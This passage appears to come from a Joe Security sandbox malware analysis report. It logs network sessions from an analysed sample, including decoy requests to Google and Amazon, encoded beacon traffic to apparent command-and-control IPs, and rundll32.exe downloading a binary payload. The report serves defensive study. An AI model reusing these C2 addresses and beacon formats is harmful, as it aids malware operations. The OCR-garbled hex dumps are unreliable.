727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:11 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 62 65
6535393578 7a 77 6a 727572645431 4c 37 7a4a 34 737575 6d 52 6d 70 65 71 6¢ 47 41 73 67 62 25 32 66 68 6b
746337 73 5a 71 4b 6f 77 67 73 38 62 73 69 71 6e 35 31 36 6a 66 30 6b 79 52 67 33 6e 66 34 6f 42 70 25 32 66 75 73

77 48 31 34 75 56 67 33 72 35 45 37 66 36 6d 64 65 65 6d 39 70 6¢ 65 70 75 36 67 62 72 25 32 66 27 3b 0a 69 66 28 77
69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fbee595xzwjrurdT1L7zJ4suumRmpeqlGAsgh%2fhktc7sZqKowgs8bsign516jfokyRg3nf4oBp%
2fuswH14uVg3r5E7fémdeem9plepubgbry%2f'if(window!=window.top){

Destination IP  Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /Okwe30rMphmtjkotatbsSéfiloatkfé XrLgawrupag9hQam/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1609

Date: Tue, 28 Sep 2021 07:54:12 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 7267 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin
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Session ID Source IP

56 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:12 UTC 1013

2021-09-28 07:54:13 UTC 1013

2021-09-28 07:54:13 UTC 1013

2021-09-28 07:54:13 UTC 1014

Session ID Source IP

57 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:13 UTC 1015

2021-09-28 07:54:13 UTC 1015

2021-09-28 07:54:13 UTC 1016

Session ID Source IP

58 192.168.2.3

Copyright Joe Security LLC 2021

Source Port

49986

Direction

ouT

Source Port
49988

Direction
ouT

Source Port

49989

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /vuKkY208Vdrn5v8g2vr8i5ifVj/enkwnjj0ihgc2sTh5qo58zU8pfab/yflz0cq71g991s62pvirN0f6tGqi6r2su2/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1652

Date: Tue, 28 Sep 2021 07:54:13 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /bkS2zfojrloxax42q7ywl9NnxJz2Eth/FixcrDy0zK7eo0Ouh2qcla/5neU641Dq7Ad4ivg6l4/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:13 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: K12P0O8GMB9GV08Z313AK

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a 6 c5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=I{"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:54:13 UTC 1017

2021-09-28 07:54:13 UTC 1017

2021-09-28 07:54:13 UTC 1018

Session ID Source IP

59 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:15 UTC 1019

2021-09-28 07:54:15 UTC 1022

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49991

Direction

ouT

ouT

Data

GET /u75Pfq2dt3xK1b7dUjctykht8u6/G6voyzSs8XJz88s|5iBdTwiqU440qHp4uibd/hjiobBxzi2M5d1xwABJAIxkt/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:13 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: 889GY4FS1EBGKMM5S9R6

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 Oa 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I| X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

POST /feed/news/last HTTP/1.1

Cookie: HSID=GeVvVRJ4QAq|O4liyf4bgoE%2FV5yXjPIMzQYXTIhYctIxsKB8NrEb8B%2FZoFvPH3vdQSan3ZBFVJ
zsIGwaJwQORuUk3Lzu89qgjXCTVhSkIOhrrdKSfeTMg059qqlhXTZ4h2U9QHG Yia3pOlmcdzZt91FL4rj1fE%2Fw8zB6
TuTXSWETCELIITWNrRUVTidoXWpjZ EfttNXxYaSE60qP%2FyZTztxWcwhfX%2FXPu8vaZAMaanBelDjrwVexLyVk9
9zMabrS4appWWxPaCJ3TG1Jz0%2BnTxI28QBg2gpDsIKYD5IWxvX0cyktfMIX3zT4z5MloqSuonSIGtqzdo9PeBe3w
X3E0IPQ%3D%3D;SIDCC=Mk7RvHDdaCBjm1pDCIGo2dbUeMYWysejL1gq1Wuxi%2F7DnrRX5u%2F5a3xB13a9okE5eck
LIgsNqtp0X%2B5KUb4Z3wx7omvelbV6XbINLkas8k3a2sMz|%2F815YYMjBzAOxdt9PKIbctCflIS2FX5ZkamTX9BGH
NjkgHyVByp2uC3rkKKZZsYw%2BcDnzxlhuMoCrzQw3qgpioggBmipWCPXdNxdgdOi3LE1UjK1D61rQUzRfbuFceCX2G3
HByyEnX5Dx0ouLENzB14K7DgOTUkwXuH7O3HC98RKC9eEOFMY I12plWIHZgE4JVMOttByHOx9%2FTVNvpo
toKDFFM%2BM9psMjNLRPAcGwWww%3D%3D;SID=POpOUe7erof Yxd%2F7hOWrdT7bVNA7bEY%2Faf12XwLV
uvbV5PV8GI5WWIg3xg1krC504u5zqLhUTPJGNS5ji3n8NYEnzmAzY86vLW15wOSwLVEz6hfPyFgbCHIfRt7UK0t1%
2FFoaXbfeWifOR7DwPqrQJLcc90dOQ900P1Q8PKHCWmMjXEOaMn8PjFlglwZAH24C%2Fcmwni8BWEGMD03RL3%2FIkdA
Mr%2BeBwAKMZALvywlIrt8DSGgHKThQPtCuVJIGIMs1xyw8NZhovL YlyK74ujalMjax1dz7KR%2BaGhlke CWEVNwKicg
i4DOEQ6thm7dmtvYQHNJIpKTvzxC6%2BsVxZS70zqwsoKg%3D%3D;SSID=%2BRHLGLD1Ya98BvIp9yTdW
CMS9LmMBUIBBANVXY81HY %2BoSWohn79HXxFWnQIQs0fvOvAEXe039halr5Jdu0cNRekHabu7mBvkY O0yXzUTA%2FERpP
CsiUabunGSemg7mMO5IIF7aUZAgmV5kmaGFCM7HyeVq9f4JB8%2B6h3cKPtc8Qt1P3AAdN0IA4WNXMFs1XvzSwm7yv
dWrNRdY6RfIHNEUWONMh569LmCfkNa7arpTOLxz0kjZ1%2BTm3ATvVvFawKjOsXcBnzT2mqVa70%2BQQ%2FxFnrzZt
EJgkkKOpxKIC4SDnZtLfRKetGGZNsJ2uGGxT%2BbWMa%2Bs3QLP8bQH4J17MyyDTI1A%3D%3D;

X-Tag: %2FEoHdubblekg9oeBY8hQvYNXWUTRQCBwSavv5YwNOf2TvFksthi3t9eRyjz3kF3Glae%2F291nNiWJnP
7J0akQDzkW1%2F4q5wm3jrM1vI9ZU4WednUS%2Bn94Yzn8qPQejc4sGIVI%2BxNgS8C7b4vmfONXH2xS
b%2F6nOPh%2BTdDRoya7XGBotVRoUxAb53Lb51WrXijuE6RretngMzh74VQSO9CG3BIGTsuBwk3XUeH3UzbqLUtYW2
SnT8grcCNKyYtFVMNAUsgwIKZOwesGMy4Jj8CT2yNWZ%2BeccYIvnXq9%2BnKQuLz3uJwCuaStHpylQO8a%2FkF1qF
CsDpcCBJIDc%2Bxpxvr5jg%3D%3D

X-Csrf-Token: 4XWAEQgVt%2FOY SdyHfqB%2FxXhRWSSs%2FWk01wbaH%2BiJVgTINW5%2BxaAMPhdLUISrVDtjq%2B
sshK709%2BDdeDjlzFeGXT2DKDLLI4F40kk2%2Fx7NsMZXBiUsXz2x6QHqliaYIO9jXPum3bCeh9afh%2BSYsAzapl
GKMRwjeLWi3RVA3Qss6WOGmMX870%2F0312h6fBfB%2FV32Z7gL8Nv3xV2vaVH%2F%2FS7TrWHyrPliitzJH0i%2Fw3
CpbUASJUBrzMQfMU3WxFsTaKWY Sfom2h0j3GO0xa7z6wWd289V%2BGiuXDbhLK5q%2F5NxgkpTI6hau7jKTmUIKNAO
sUabrDxFGuTaMRACq%2FMupigtjaJA%3D%3D

X-Request-ID: 8HzylSadvktL1fN9dy1KhIoEUWOTGXU%2FhDm%2FUluLyA45nnhs6zmHFRFSqryyVgJSPEYlka8F
WJUFmMFWN1VZCBILYNQIBEzfDQ5YYOslzmULhKmWrUsRF9ytrxgsDJIbEnIpSUKHWSDIRMW;jJnlY2DeybWRVIiPXNE7K5
mP%2BTLgqEVAMIEuUOMMgBSd4ohLWtmSu2ce8600ACWWWYO40ImgLL1%2F9dsIWzkW8Arqj%2Fvk7JIb45
WSsADEI7F2x4wPx14Lpt64FhtUrr4tAIMyVajNvrcikzI9Obaw3q901fdCV16f9Ki8BAGq4ZLgX3QBTjWESD1NkaDAPT
AXqVCStEnnGOY6vQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 4d 53 2c e8 9a fO 75 a4 10 ea 04 87 a5 78 8a 9a 88 99 8a 23 54 22 d2 69 37 3e e7 83 20 6f d6 3f c0 5a c9 73
d0 6b ee a6 f2 5¢c bb 8d 42 25 8b 8¢ 60 33 31 7a cd e6 c5 8a 20 9a 8f 32 a9 e7 7e 08 1b 12 84 ef ff 68 08 96 72 de 9d a7
bc 33 a7 09 fe 65 00 dc 62 d4 29 2f 38 Oc 73 95 08 af 2d ce a0 15 4e 19 13 21 d1 94 c5 ae 5b 70 4a 2d 82 bb 58 42 91 c2
b0 5a 62 90 14 f6 Ob d1 7f 50 6¢ 2e a7 bc c¢7 Oe 45 f5 48 3d 1a 61 94 59 77 9c c3 b1 06 3a 1f 9f 24 c6 eb c9 44 32 af 98 7b
09 ba da 6d ce 39 17 d3 f6 4b 64 41 53 4d 12 70 02 c2 15 6d 5a c8 78 64 ec ¢5 52 5b 1f 70 76 53 c¢8 3d 7e 2¢ 31 02 a9 e5
22 7e d9 8d ce d2 18 9e 47 17 fc 3d 9d d1 f4 c4 1f 29 3d fa f3 8f 31 b6 b1 99 8e 74 51 2e 90 f6 22 31 52 6d 3b 20 ae 5 df
4e 57 0d 83 9e 2c 2b 80 80 a8 ed 10 39 d7 57 35 59

Data Ascii: MS,ux#T"i7> 0?Zsk\B% 31z 2~hr3eb)/8s-N![pJ-XBZbPI|.EH=aYw:$D2{m9KdASMpmZxdR[pvS=~,1"~G=)=
1tQ."1Rm; NW,+9W5Y
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kBytes
Timestamp transferred

2021-09-28 07:54:17 UTC 1027

Session ID Source IP

6 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:36 UTC 595

2021-09-28 07:53:39 UTC 601

2021-09-28 07:53:39 UTC 601

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49876

Direction

ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:17 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP Destination Port Process

161.35.19.83 443 C:\Windows\System32\rundlI32.exe

Data

GET /feed/news/last HTTP/1.1

Date: Tuesday, 28 September 2021

Cookie: DV=NmMDRE1VMNGmM9CO097h%2BC6zTAa%2F5FQRD2VPiIPXz6 AWSODykWVWFTV2s7LzFiuaUB8evtfdKtTAIM
2Wj5iqgDRydsqg8F6RBtEQIMG242wtun7MBSYVvj7Csyu3yaqvfciKfrlin%2BJi37NljeLmRKR8r5PdiQ%2BsuDWPi
sn3S1k9xgSbY5BI31qge6PJ0cZ0U%2B%2Bsglw7NvsuPRNTPmI20HzrIfEWTOrbJVw7iQVgAhRFH5e2ACaBdF63u4NE
XDu5MAdc2SZhHMiyPhhm9Zt4012%2F6rhJK%2B1lhwaw7%2BNcO7wcZY2I0YyD2YInVp%2F7cSZmbDsQR
arG%2FpYUBZIAT80tfd012qfA%3D%3D;HSID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r7%2F%2Bhnn%2FpDJO9Ym
EXgEQh2yDpRm3wm6yEc8nw0QUIK1eeO0FbnVhhYzuhW9U2CPf4r9Sa0ADgwo6ZchGF7aQeC26N6C%2FC
CbYOrfYNipK%2B2Zc6aerq5aAq%2F5DIAaVWKC3UgShjwPa87rS4RRJI%2FgQ%2BhUe9KG7SMychxOmDL
WgMm5AorosFNcYggAbxdUeyPWj58HkitgRmQpb0AnoipNS8s%2BRYIVzgQTpYz2w2ApzBXhbNaHx6H%2BPNhSnIBX|
hUJh%2BENfERdY3%2FereScY2VGIOIu9kQN2qSQB6cX%2FydHVs90Y SGgbalJ9%2FKRtZmA%3D%3D;CG
1C=10QgpVRJITWtNKN6NNJi7bqORb5mvBHVLNVXytl4WgBtHarC6ZbZ4GltpLZXHAAhD9i4laG3TUCGIyAL7S3aqIM2
gSOIIREJBTYAMgTV6z6 TOMEqxH4P88dowEtkCyV%2Fnp3oifkkABeef69VVbSuPUIBz35mP38901Z0qY9zLINn5koC
z4S031%2F4Y3LO5wvz5iBM3ibMb3zmNx%2FR0e%2FuTxxjvylrenimNvLo3plg3vQtFv9%2BgNJIGTtVnX%2BoBOCXIk
NgjiGUtE%2BsDO40k%2Fy%2FOkBY%2B%2BIL{Zzd O6txRyKtFkqv8WOAIUAWXb7Lgdk8uhOUJILTqgZ227c8RdITI
Z3FdJ8w%3D%3D;ANID=xVowcHtfRGGr9q86%2BKDDIQUIz12EyXnm%2BwSw5bocGBNCum2Y68CCFKN%2
BUFMcT%2BgfQzFSrHOBZ2VgaHcSf15kstGfA9igVagx2H1dPWCtyZtl 30Im6KyOhhvHecmCmmNWOy T2kgdaRx4EJE31
1WDwL Yth1yWk8DBGFwprRw7LIHYGewrnEjnMFCAz18HI9DhROzjPHb%2Bk8VM4A7cRcQSbDgsVXmhzfTF
FWEHVHDsJWO0Ge0B%2FNVAIM9IMrkw%2BG0%2BkHnaZz1C3mgQomRbaHt%2BC50W0W96ivK8AILKDYJWw
yb6EK%2B4tlI99ComYoJOampTnalhOJEWAgY%2BICVIE6QUGITrcA%3D%3D;

Vary: 2H%2B0pCwsE1FMJghgDIIR5zaiGnShZ7apvPIU0GmMhSREDthh89S47atzXI0P2PfOjfrsg2nj99R1Gkmfwlv
tuV%2BIt330GWL0d%2FLYrR9MoE10ZbHI0gPTm7ASuHeEfaAkUDH%2BngmRM9fqVk0GI1Dmi3CGx742¢gjalIUw7hlw
k400j%2F84Mkghxb4GFB5FCFiTF11d90elP%2FB13COECDa2wG5vUz7Mik9cSHeXpOhICU1CST5BLfg5QYYnHMOW(q
itZG6YKOiJpj2fVUS55VamOni33TvsPDChA%2B%2BZnsBpWGWS5Lv8AelkWuwfaZFefqcOFMAKOIILdeTPWYIUCS]AmM
A5MQ%3D%3D

Var: GV9lwsFgKM%2FaONTIWc%2BJch8SGmjdbcDcGSSyBgcaDVa%2FS8C3xVCzUrwcONzNPNnsTLYcdDgpdzoKn2va
1do4Qsn5aYSUgmL7UCD2JqJUV59vOyFEAGALK7gcj%2FC8t6nVXLibtlV3Ap8FVppaCzZkv94UeVZks3GPWLfJeRagk
In7bl%2FRI1YEZ3%2FWeTg76d4kASY qJKexSawCaqfR73s3Wyh2SstWSEEUEVxq7fKwz4fT6%2ByXxvUCITRHXVgTO
KioWy0SFIMCWhud787zLkPNF%2BPy7vpiGxU5jNalwayUPdfwdYWcDOCW2q8TWQKQOuUQw47p1RP4EIBE
zA8GQBZmmUGLA%3D%3D

X-Tag: aQlxsYr3KA107Bm%2FD9X9q1Jhb7t5WWZbazS03pNy1SQp7YOW7df5QTIS8NCw2albriul%2Ft9wZChsUQ%
2BeZ5NbGOG97eNgGGac3%2FLiy6loEG3mmo4jhcxalmf5cYsFdvRCFS389VmOhVNjDFgFtFpMgbEc5iwdvoseExY9G
urlbmREWfwrUn%2FYeuzpZZieEbTDFRRXXehEWAfRAKFTcwUXCAG1HHIUUX%2FkQfovWIrUsT%2FjWkmug9upxoM
y2XBM4uxJtECL%2Bsu6gMzIoXLtobSI61mIAj9nBOgwmzrK7p2JwmUmRhHTIUSAQXIWAW1Jg00D%2FRju%2Fi0OHCNg
4iJ4kWt2A%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61
Safari/537.36 Edg/94.0.992.31

Host: 161.35.19.83

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: application/octet-stream

Content-Length: 293376

Connection: close

Date: Tue, 28 Sep 2021 07:53:38 GMT
Content-Description: File Transfer

Content-Disposition: attachment; filename=6QKNHMCJEE
Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 6b 56 58 1e 45 f9 bl 2c c2 32 d1 5b d2 d8 ba 5e ba 9f 2a ab 01 87 a5 eb 46 18 d8 80 c4 f5 38 61 e4 €9 aa 5a
12 6e d3 ad a5 9b 98 85 48 b9 09 de dO 2a 29 d2 ab 5a ec 20 43 2d ac 43 1f Ob 02 f9 ad 3e ec 73 6e e4 40 e9 39 94 3e b2
3a2b 87 63 bc 71 5a ad de 29 8f 78 17 47 61 a8 85 44 f3 84 el 36 92 Ob a4 de 99 97 69 f1 cb f4 91 e9 86 d9 14 eb 08 dO
2be3 1d 6a 62 58 a9 ef 79 67 70 a8 13 3b Ob 65 8b fc f6 03 f3 7b 1d c5 22 6a 42 40 58 93 87 61 e4 1b ad 68 Oe c2 4f 60
